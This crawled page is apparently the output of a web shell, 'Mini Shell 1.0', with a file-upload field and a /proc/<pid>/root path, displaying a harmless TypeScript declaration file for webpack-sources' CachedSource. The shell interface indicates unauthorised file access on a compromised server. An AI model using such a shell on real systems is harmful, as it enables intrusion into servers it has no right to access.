HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1784574/root/usr/share/nodejs/@types/webpack-sources/lib/
Upload File :
Current File : //proc/1784574/root/usr/share/nodejs/@types/webpack-sources/lib/CachedSource.d.ts
import { RawSourceMap } from 'source-map';

import { CachedData, MapOptions } from '.';
import Source = require('./Source');

/**
 * Decorates a Source and caches returned results of map, source, size and sourceAndMap in memory.
 * Every other operation is delegated to the wrapped Source.
 */
declare class CachedSource extends Source {
    constructor(source: null | (() => Source), cachedData: CachedData);
    constructor(source: Source);
    map(options?: MapOptions): RawSourceMap;
    original(): Source;
    getCachedData(): CachedData;
}

export = CachedSource;